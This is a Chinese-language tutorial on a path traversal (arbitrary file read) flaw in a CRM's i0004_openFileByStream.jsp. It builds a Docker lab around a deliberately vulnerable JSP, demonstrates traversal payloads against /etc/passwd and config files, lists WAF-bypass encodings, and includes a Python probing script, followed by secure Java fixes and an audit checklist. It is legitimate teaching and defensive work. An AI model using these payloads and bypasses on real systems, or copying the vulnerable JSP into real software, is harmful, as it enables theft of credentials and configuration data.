路径遍历漏洞实战剖析:从原理到防御的任意文件读取攻防

发布时间:2026/6/29 14:33:42

路径遍历漏洞实战剖析:从原理到防御的任意文件读取攻防 1. 项目概述一次典型的路径遍历漏洞实战剖析最近在梳理一些企业级应用的历史漏洞时浙大恩特客户资源管理系统里的一个老问题——i0004_openFileByStream.jsp文件的任意文件读取漏洞——引起了我的注意。这类问题在早期的B/S架构管理系统中其实挺常见的本质就是一个路径遍历Path Traversal或者说目录穿越漏洞。攻击者通过构造特殊的请求参数可以让本应读取特定业务文件的接口去读取服务器上的任意文件比如系统配置文件、数据库连接字符串、甚至是源码文件。这听起来可能没有直接获取系统权限那么“刺激”但它的危害性一点不小相当于给攻击者打开了一扇窥探服务器内部的后窗是后续渗透的绝佳跳板。我之所以花时间把这个漏洞的复现和环境搭建过程详细记录下来主要是出于两个考虑。第一对于安全研究人员和渗透测试工程师来说理解这类漏洞的成因和利用方式是构建完整攻击链思维的基础。很多高危漏洞的入口恰恰就是这些看起来“不起眼”的信息泄露点。第二对于开发和运维同学尤其是还在维护这类传统系统的团队通过复盘漏洞细节能更深刻地理解输入验证和权限控制的重要性避免在自己的代码里踩进同一个坑。这次复现我会从零开始在一个可控的实验室环境里还原漏洞触发的全过程并拆解每一步背后的原理和防御思路。2. 漏洞原理与靶场环境深度解析2.1 漏洞核心失控的文件路径拼接要理解这个漏洞我们得先看看i0004_openFileByStream.jsp这个文件大概想干什么。从名字推测openFileByStream通过流打开文件很可能是一个用于在线预览或下载服务器上已上传文件的通用接口。在客户资源管理系统中用户上传的客户资料、合同附件等文件通常存储在服务器某个特定目录下。前端页面需要显示某个附件时可能会调用这个JSP接口并传递一个文件标识比如文件名或存储在数据库中的路径作为参数。漏洞的根源就出在对这个传入参数的过滤和处理上。一个安全的实现应该严格限定文件读取的范围比如只允许读取/upload/目录下的文件。但存在漏洞的代码很可能直接使用了类似new File(用户传入的路径)这样的方式或者将用户输入直接拼接到一个基础目录路径后面而没有进行任何规范化处理和边界检查。举个例子假设正常的请求是这样的/i0004_openFileByStream.jsp?fileName2025contract.pdf后端代码可能将其拼接为/usr/local/ent/uploads/2025contract.pdf然后读取返回。但如果攻击者传入fileName../../../etc/passwd呢经过拼接路径可能就变成了/usr/local/ent/uploads/../../../etc/passwd。在操作系统的路径解析中../表示上级目录。经过解析这个路径最终会指向/etc/passwd文件。如果Web服务进程如Tomcat有读取这个文件的权限那么服务器的敏感信息就会泄露。这就是路径遍历漏洞的经典模型用户可控的输入未经净化就直接参与了文件系统路径的构造。i0004_openFileByStream.jsp这个接口极有可能就是因为对fileName、filePath或类似参数缺少有效的过滤导致了这一问题。注意在实际漏洞利用中参数名不一定是fileName也可能是path、url、file等。这需要根据代码上下文或通过模糊测试、参数爆破来确定。2.2 实验室环境搭建与配置要点为了安全、合法地复现漏洞我们必须搭建一个隔离的本地测试环境。我推荐使用Docker它能快速构建一个与宿主机器隔离的沙箱。1. 漏洞环境获取与部署由于涉及真实系统我们无法直接获取浙大恩特的官方安装包。在安全研究中通常有两种途径一是寻找公开的历史漏洞测试镜像如某些靶场项目二是自己搭建一个模拟漏洞环境的简易JSP应用。这里为了彻底讲清楚原理我选择第二种方式自己编写一个存在漏洞的JSP页面进行演示。首先我们创建一个简单的Dockerfile来构建一个包含Tomcat的基础环境FROM tomcat:8-jre8 LABEL maintainersecurity-researcher # 移除Tomcat默认应用减少干扰 RUN rm -rf /usr/local/tomcat/webapps/* # 创建我们的漏洞测试应用目录 RUN mkdir -p /usr/local/tomcat/webapps/vulnapp # 复制存在漏洞的JSP文件稍后创建到应用目录 COPY i0004_openFileByStream.jsp /usr/local/tomcat/webapps/vulnapp/ COPY index.html /usr/local/tomcat/webapps/vulnapp/ # 为了模拟真实场景创建一些“敏感”文件 RUN echo 模拟的数据库配置drivercom.mysql.jdbc.Driver, urljdbc:mysql://localhost:3306/enterprise_db, usernameadmin, passwordSuperSecret123! /tmp/db.config RUN echo root:x:0:0:root:/root:/bin/bash /tmp/fake_passwd RUN echo 这是一个正常的业务文件内容。 /usr/local/tomcat/webapps/vulnapp/normal_file.txt # 调整Tomcat用户权限非必须仅为模拟某些弱权限场景 # 在实际复现中Tomcat通常以非root用户运行这本身是一种安全缓解。 EXPOSE 8080 CMD [catalina.sh, run]2. 构造存在漏洞的JSP文件接下来是关键的一步编写那个存在任意文件读取漏洞的i0004_openFileByStream.jsp。我们模拟一种最常见的错误写法% page importjava.io.* % % // 模拟漏洞直接获取用户输入的文件路径参数未做任何过滤 String filePath request.getParameter(filePath); if (filePath ! null !filePath.isEmpty()) { // 危险操作直接将用户输入视为文件系统路径 File file new File(filePath); if (file.exists() file.isFile()) { // 通过流读取文件内容并输出 BufferedReader reader new BufferedReader(new FileReader(file)); String line; while ((line reader.readLine()) ! null) { out.println(line br); } reader.close(); } else { out.println(文件不存在或不是普通文件。); } } else { out.println(参数 filePath 不能为空。); } %这个JSP代码的逻辑非常简单获取filePath参数直接用它创建File对象如果文件存在就逐行读取并显示在网页上。它完全没有检查filePath是否包含../这样的路径遍历序列也没有将其限定在某个安全的基础目录下。3. 启动测试环境将上述Dockerfile和i0004_openFileByStream.jsp、一个简单的index.html放在同一目录执行构建和运行命令# 构建Docker镜像 docker build -t ent-crm-vuln-test . # 运行容器将容器的8080端口映射到本地的8080端口 docker run -d -p 8080:8080 --name ent-crm-test ent-crm-vuln-test环境启动后访问http://localhost:8080/vulnapp/i0004_openFileByStream.jsp如果看到“参数 filePath 不能为空”的提示说明漏洞环境已经部署成功。实操心得自己搭建漏洞环境是最佳学习方式。通过亲手编写漏洞代码你能对漏洞的成因产生肌肉记忆。在搭建时务必确保网络隔离使用本地Docker避免含有真实漏洞的代码被意外暴露到公网这既是法律要求也是职业道德。3. 漏洞复现操作与利用链构建3.1 基础利用读取服务器敏感文件环境就绪我们现在开始攻击模拟。最直接的利用方式就是尝试读取系统敏感文件。利用步骤1探测与确认漏洞首先我们尝试读取之前创建的模拟敏感文件。构造如下请求http://localhost:8080/vulnapp/i0004_openFileByStream.jsp?filePath/tmp/db.config如果页面成功返回了“模拟的数据库配置...”等内容那么漏洞的存在就被初步证实了。它说明filePath参数确实被直接用于文件系统访问。利用步骤2进行路径遍历接下来尝试跳出当前目录。虽然我们的漏洞代码没有设置基础目录但为了演示经典利用方式我们假设它有一个基础目录/usr/local/tomcat/webapps/vulnapp/。尝试读取/tmp/fake_passwdhttp://localhost:8080/vulnapp/i0004_openFileByStream.jsp?filePath../../../tmp/fake_passwd这里../的数量需要根据JSP文件所在的实际路径到目标文件的相对路径来计算。通常需要多次尝试。如果成功返回了伪造的passwd文件内容则证明路径遍历成功。利用步骤3尝试读取真实系统文件在模拟环境中在真实的漏洞复现中攻击者会尝试读取一系列高价值目标例如/etc/passwd确认系统用户列表。/proc/self/environ获取Web进程的环境变量可能包含密钥、路径。Web应用配置文件如WEB-INF/web.xml可能泄露数据库配置。读取JSP源码本身有时也需要特殊技巧因为Tomcat默认会编译执行JSP直接请求.jsp文件得到的是执行结果而非源码。但可以通过读取WEB-INF/classes下的编译后class文件或利用某些中间件特性如filePathWEB-INF/../i0004_openFileByStream.jsp来尝试。在我们的模拟环境里可以尝试读取Tomcat的配置文件http://localhost:8080/vulnapp/i0004_openFileByStream.jsp?filePath../../conf/server.xml注意事项在实际渗透测试中读取/etc/passwd是验证Linux系统路径遍历漏洞的“经典起手式”。但在Windows服务器上则需要尝试如../../../../windows/system32/drivers/etc/hosts这样的路径。因此在模糊测试阶段需要根据服务器返回的错误信息特征如“找不到文件”的路径格式来判断操作系统类型。3.2 高级利用源码泄露与信息收集任意文件读取远不止读一个配置文件那么简单它往往是深入渗透的起点。利用链构建1获取数据库连接信息假设通过遍历读取到了WEB-INF/classes/application.properties或config/db.conf等文件并从中发现了数据库的IP、端口、用户名和密码。攻击者下一步可能会尝试用这些凭证直接连接数据库服务器如果网络可达。在数据库中查找管理员密码哈希、客户敏感信息、业务逻辑数据等。可能进一步利用数据库特性如MySQL的LOAD_FILE函数、INTO OUTFILE语句进行更深度的文件读取或写入甚至获取服务器权限。利用链构建2获取应用程序源码对于Java应用编译后的class文件虽然可读性差但通过反编译工具如JD-GUI、CFR可以恢复出大部分源代码。获取源码的价值巨大审计更多漏洞源码中可以审计出SQL注入、逻辑漏洞、反序列化等更严重的漏洞。寻找硬编码密钥开发者可能将加密密钥、API Token、第三方服务凭证直接写在源码里。理解业务逻辑为构造精准的业务逻辑绕过攻击做准备。在我们的模拟漏洞中由于代码简单我们直接读到了JSP源码。但在真实复杂的浙大恩特CRM系统中攻击者可能会通过读取编译后的class文件或利用其他辅助漏洞比如结合文件上传来获取源码。利用链构建3为其他攻击铺路读取到的信息可能本身不直接导致漏洞但却是其他攻击的“拼图”。例如从配置文件中发现内部网络拓扑、其他服务器IP。从日志文件中发现其他用户的访问记录、操作轨迹。从/proc/self/cmdline中获取Web服务的启动命令和参数。3.3 自动化探测与模糊测试手动测试效率低在实际安全评估中我们通常会借助工具进行自动化探测。使用Burp Suite Intruder在Burp中捕获一个访问漏洞页面的正常请求。发送到Intruder模块将filePath参数的值标记为载荷位置。准备一个载荷字典包含常见的路径遍历Payload和敏感文件路径例如../../../etc/passwd ../../../../windows/win.ini WEB-INF/web.xml ../../WEB-INF/classes/com/enter/Config.class .../...//etc/passwd (双重编码或混淆测试) %2e%2e%2f%2e%2e%2fetc%2fpasswd (URL编码测试)发起攻击根据响应长度、状态码和内容关键词如“root:” “jdbc:”快速筛选出成功的Payload。编写简易Python探测脚本对于需要批量检测或定制化Payload的情况可以写一个简单的脚本import requests import sys def test_path_traversal(url, param, payloads_file): with open(payloads_file, r) as f: payloads [line.strip() for line in f if line.strip()] for payload in payloads: test_url f{url}?{param}{payload} try: resp requests.get(test_url, timeout5) # 这里可以根据实际情况定义检测规则比如响应中包含特定关键词 if resp.status_code 200 and len(resp.text) 0: # 简单的检测如果返回内容包含常见敏感信息特征 if root: in resp.text or jdbc: in resp.text or password in resp.text.lower(): print(f[!] 可能成功: {test_url}) print(f 响应预览: {resp.text[:200]}...) else: print(f[*] 正常响应: {payload}) except Exception as e: print(f[x] 请求失败 {payload}: {e}) if __name__ __main__: # 示例用法 target_url http://localhost:8080/vulnapp/i0004_openFileByStream.jsp parameter filePath payload_file traversal_payloads.txt test_path_traversal(target_url, parameter, payload_file)实操心得自动化测试时Payload的构造非常关键。不要只测试简单的../还要测试URL编码、双重编码、绝对路径、空字节截断在特定老旧环境中等多种绕过方式。同时要注意观察服务器返回的错误信息不同的错误如404、403、500能告诉你很多关于路径解析逻辑的信息。4. 漏洞根因分析与安全加固方案4.1 代码层面漏洞产生的具体场景让我们回到漏洞的源头仔细分析哪些编码习惯会酿成大错。错误模式1直接拼接用户输入这是最典型的错误正如我们模拟的代码所示String userInput request.getParameter(filePath); File file new File(userInput); // 致命错误或者String baseDir /app/uploads/; String fileName request.getParameter(fileName); File file new File(baseDir fileName); // 如果fileName是../../../etc/passwd依然危险错误模式2过滤不彻底开发者可能意识到需要过滤但采用了错误或可绕过的方法String fileName request.getParameter(name); // 错误过滤1只替换一次 fileName fileName.replace(../, ); // 攻击者输入..././ 处理后变为 ../ 依然危险 // 错误过滤2黑名单不完整 if (fileName.contains(..) || fileName.contains(/) || fileName.contains(\\)) { throw new SecurityException(非法输入); } // 攻击者可能使用URL编码%2e%2e%2f或UTF-8编码绕过。错误模式3信任前端或数据库存储的路径有时文件路径不是直接来自请求参数而是从数据库根据文件ID查询出来的。但如果存入数据库的路径最初也是用户可控的比如上传文件时的原始文件名并且入库时未做净化那么从数据库读取后直接使用同样存在风险。4.2 修复方案从根源上杜绝路径遍历修复的核心原则是白名单校验 路径规范化 权限最小化。方案1使用白名单或映射机制推荐最好的方式是避免直接使用用户提供的文件系统路径。ID映射给上传的文件生成一个唯一的随机ID如UUID将ID和真实文件路径的映射关系存储在数据库或内存中。用户请求时只提供ID后端通过ID查找真实路径。String fileId request.getParameter(fileId); String realPath fileMappingService.getPathById(fileId); // 从安全存储中获取 if (realPath null) { return 文件不存在; } File file new File(BASE_SECURE_DIR, realPath); // 结合基础目录白名单校验如果必须使用文件名则严格限制字符集如只允许字母数字和短横线并通过白名单校验文件类型后缀。String fileName request.getParameter(fileName); if (!fileName.matches([a-zA-Z0-9\\-]\\.(pdf|txt|jpg))) { // 白名单正则 throw new IllegalArgumentException(非法文件名); } Path safePath Paths.get(BASE_UPLOAD_DIR, fileName).normalize(); // 关键步骤确保解析后的路径仍在基础目录内 if (!safePath.startsWith(BASE_UPLOAD_DIR)) { throw new SecurityException(路径遍历攻击尝试); }方案2严格的路径规范化与边界检查如果业务场景复杂必须处理相对路径则必须进行规范化并检查是否逃逸出安全目录。import java.nio.file.*; String userInput request.getParameter(filePath); Path baseDir Paths.get(/var/www/uploads).toAbsolutePath().normalize(); Path resolvedPath; try { // 先对用户输入进行规范化消除 ../ 和 ./ Path userPath Paths.get(userInput).normalize(); // 将用户路径解析到基础目录下 resolvedPath baseDir.resolve(userPath).normalize(); } catch (InvalidPathException e) { throw new IllegalArgumentException(无效路径, e); } // 最关键的安全检查确保解析后的路径仍然以基础目录开头 if (!resolvedPath.startsWith(baseDir)) { throw new SecurityException(禁止访问基础目录之外的文件); } File file resolvedPath.toFile();这里使用了Java NIO的PathAPI它的normalize()方法可以处理.和..resolve()和startsWith()方法能安全地进行路径拼接和边界检查比传统的File类更安全。方案3运行环境加固应用服务器权限运行Tomcat/Jetty等服务的系统用户应该是一个专用的、低权限的用户如tomcat或www-data并严格限制其文件系统访问权限。即使漏洞被利用攻击者也只能读取该低权限用户能访问的文件无法读取/etc/shadow等关键文件。文件系统权限上传目录、配置文件目录等应设置严格的读写权限如chmod 750确保只有必要的进程用户可以访问。容器化部署使用Docker等容器技术可以将应用及其依赖封装起来并通过卷Volume映射严格控制容器内进程能访问的主机文件范围实现天然的隔离。4.3 漏洞挖掘与防御的延伸思考这个漏洞虽然原理简单但它像一面镜子映照出Web应用安全中几个永恒的主题1. 输入验证的普适性“一切输入都是有害的”这句话在安全领域永不过时。无论是文件路径、数据库查询、命令执行还是反序列化数据对用户输入保持绝对的不信任进行严格的校验、过滤和规范化是安全编码的第一道防线。白名单策略几乎总是优于黑名单。2. 错误处理的信息泄露在修复漏洞时也要注意错误信息的管理。当路径非法时返回“文件不存在”或“参数错误”即可切勿将完整的服务器路径、堆栈跟踪等信息返回给客户端。这些信息会帮助攻击者调整攻击Payload。3. 安全是一个持续的过程修复一个已知的i0004_openFileByStream.jsp漏洞后是否还有其他类似的openFileByXXX.jsp接口是否还有其他参数存在同样问题这就需要代码审计或自动化白盒/黑盒扫描工具进行覆盖。同时依赖组件如第三方库、框架的漏洞也需要持续关注和更新。5. 实战排查与深度利用技巧5.1 常见问题与排查实录在复现和利用这类漏洞时你可能会遇到一些“坑”。下面是我在实际测试中遇到过的一些典型问题及解决方法。问题1请求返回空白或404但参数似乎被接收了。可能原因文件不存在、路径计算错误、或服务器端有基础目录但跳出的../数量不对。排查技巧使用绝对路径测试先尝试读取一个你确定存在的、带绝对路径的文件比如?filePath/tmp/test.txt以确认接口是否真的工作。逐步增加../从../开始逐步增加数量如../../../../../观察响应变化。有时需要结合Web应用的部署路径如是否在ROOT下来计算。查看服务器日志如果环境可控查看Tomcat的catalina.out或localhost.log里面通常会有FileNotFoundException的详细堆栈其中包含它尝试访问的完整路径这是黄金信息。问题2返回了文件内容但显示乱码。可能原因读取的是二进制文件如.class,.jar, 图片而JSP页面以文本格式输出。解决方法对于需要完整获取二进制文件内容的场景如下载class文件进行反编译漏洞利用方式需要调整。原始的JSP漏洞接口可能本身设计就是输出文本不一定支持二进制流。此时可以尝试寻找其他可能存在类似漏洞但处理逻辑不同的端点。如果接口支持设置Content-Type尝试设置为application/octet-stream。更常见的方法是将读取到的二进制内容进行Base64编码后输出再利用脚本解码保存。问题3遇到了WAFWeb应用防火墙或简单的过滤。现象包含../的请求被拦截返回403等错误。绕过技巧URL编码../-%2e%2e%2f双重URL编码../-%252e%252e%252f服务器解码两次UTF-8编码在某些特定解析场景下尝试。使用..//或..\Windows有时过滤正则不完善。参数污染提交多个同名参数如filePathlegal.txtfilePath../../../etc/passwd不同后端处理方式可能取最后一个值。5.2 从信息泄露到权限提升的联想虽然任意文件读取本身可能无法直接getshell但它往往是攻击链中承上启下的关键一环。我分享一个在真实渗透测试项目中遇到的案例思路已脱敏在一次对某企业系统的测试中我们首先通过一个类似的任意文件读取漏洞获取了WEB-INF/web.xml文件从中找到了数据库连接池配置。但该数据库位于内网外部无法直接访问。随后我们通过读取应用服务器的日志文件发现了管理员后台的登录URL和一些内部API接口的调用记录。结合读取到的jar包中的源码通过读取WEB-INF/lib/下的jar并本地反编译我们分析出了一处后台的逻辑漏洞最终在无需知道管理员密码的情况下通过构造特定请求完成了越权操作。这个案例想说明的是不要孤立地看待一个漏洞。任意文件读取就像给你一把打开服务器文件柜的钥匙里面可能有地图配置文件、日记日志、设计图源码。如何将这些零散的信息拼凑成完整的攻击路径需要渗透测试者具备丰富的经验和联想能力。5.3 防御视角下的代码审计清单如果你是开发者或安全审计人员在检查文件操作相关代码时请务必对照以下清单检查项危险代码示例安全代码示例/建议用户输入直接用于路径new File(request.getParameter(“path”))使用ID映射或白名单校验路径拼接未标准化new File(BASE_DIR userFileName)使用Paths.get().resolve().normalize()并检查startsWith过滤可被绕过replace(“../”, “”)使用规范化后检查目录逃逸或严格白名单错误信息泄露路径e.printStackTrace()输出到响应记录到日志返回通用错误信息文件权限过宽Tomcat以root运行使用专用低权限用户运行服务配置文件权限配置文件chmod 777配置文件chmod 600或640仅限必要用户读最后我个人在渗透测试和代码审计中有一个习惯每当看到一个文件读取或写入的API被调用时都会下意识地追踪它的参数来源。如果这条数据流最终能追溯到用户输入那么这里就存在一个潜在的安全风险点。这种条件反射式的思考是发现这类“简单”却危害深远漏洞的关键。对于企业而言在SDLC软件开发生命周期中引入安全编码培训、自动化代码扫描工具和定期的渗透测试是防止类似“浙大恩特CRM任意文件读取”漏洞上线的最有效手段。

相关新闻